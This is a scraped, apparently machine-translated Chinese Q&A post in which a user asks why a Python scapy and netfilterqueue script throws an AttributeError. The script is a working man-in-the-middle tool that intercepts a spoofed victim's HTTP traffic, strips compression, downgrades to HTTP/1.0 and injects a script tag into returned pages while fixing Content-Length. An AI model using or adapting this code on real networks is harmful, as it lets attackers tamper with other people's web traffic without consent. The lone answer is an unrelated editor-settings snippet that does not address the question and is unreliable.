如果scapy_packet.haslayer(scapy.Raw).load:AttributeError:'int'对象没有属性'load'

时间:2019-01-13 12:52:12

标签: python scapy

我正在尝试执行python代码,但出现此错误。

Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
  File "injecting_code.py", line 15, in process_packet
    if scapy_packet.haslayer(scapy.Raw).load:
AttributeError: 'int' object has no attribute 'load'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
  File "injecting_code.py", line 15, in process_packet
    if scapy_packet.haslayer(scapy.Raw).load:
AttributeError: 'int' object has no attribute 'load'
^CTraceback (most recent call last):
  File "injecting_code.py", line 38, in <module>
    queue.run()
KeyboardInterrupt

我正在尝试通过端口80(即http)将代码注入到欺骗的计算机请求中。
我的代码是:

#!/usr/bin/env python

import scapy.all 
import netfilterqueue
import re


def set_load(pkt, load):
    pkt[scapy.all.Raw].load = load
    del pkt[scapy.all.IP].len
    del pkt[scapy.all.IP].chksum
    del pkt[scapy.all.TCP].chksum
    return pkt


def process_packet(pkt):
    scapy_packet = scapy.all.IP(pkt.get_payload())
    if scapy_packet.haslayer(scapy.all.TCP):

        if scapy_packet[scapy.all.TCP].dport == 80:
            print("[+] Request")

            if scapy_packet.haslayer(scapy.all.Raw):
                load = scapy_packet[scapy.all.Raw].load

                load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
                load = load.replace("HTTP/1.1", "HTTP/1.0")

                if load != scapy_packet[scapy.all.Raw].load:
                    new_packet = set_load(scapy_packet, load)
                    pkt.set_payload(str(new_packet))

        elif scapy_packet[scapy.all.TCP].sport == 80:
            print("[+] Response")

            if scapy_packet.haslayer(scapy.all.Raw):
                load = scapy_packet[scapy.all.Raw].load
                inject_code = "<script>alert('Test');</script>"
                load = load.replace("</body>", inject_code + "</body>")
                content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
                if content_length_search and "text/html" in load:
                    content_length = content_length_search.group(1)
                    new_content_length = int(content_length) + len(inject_code)
                    load = load.replace(content_length, str(new_content_length))

                if load != scapy_packet[scapy.all.Raw].load:
                    new_packet = set_load(scapy_packet, load)
                    pkt.set_payload(str(new_packet))

    pkt.accept()    


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
try:
    queue.run()
except KeyboardInterrupt:
    print(" ")

在执行程序之前,我已经启动了iptables和ip转发。我找不到什么。
请帮帮我。

1 个答案:

答案 0 :(得分:0)

使用完整的代码,不会给出错误,例如

"python.analysis.disabled": [
        "unresolved-import",
    ],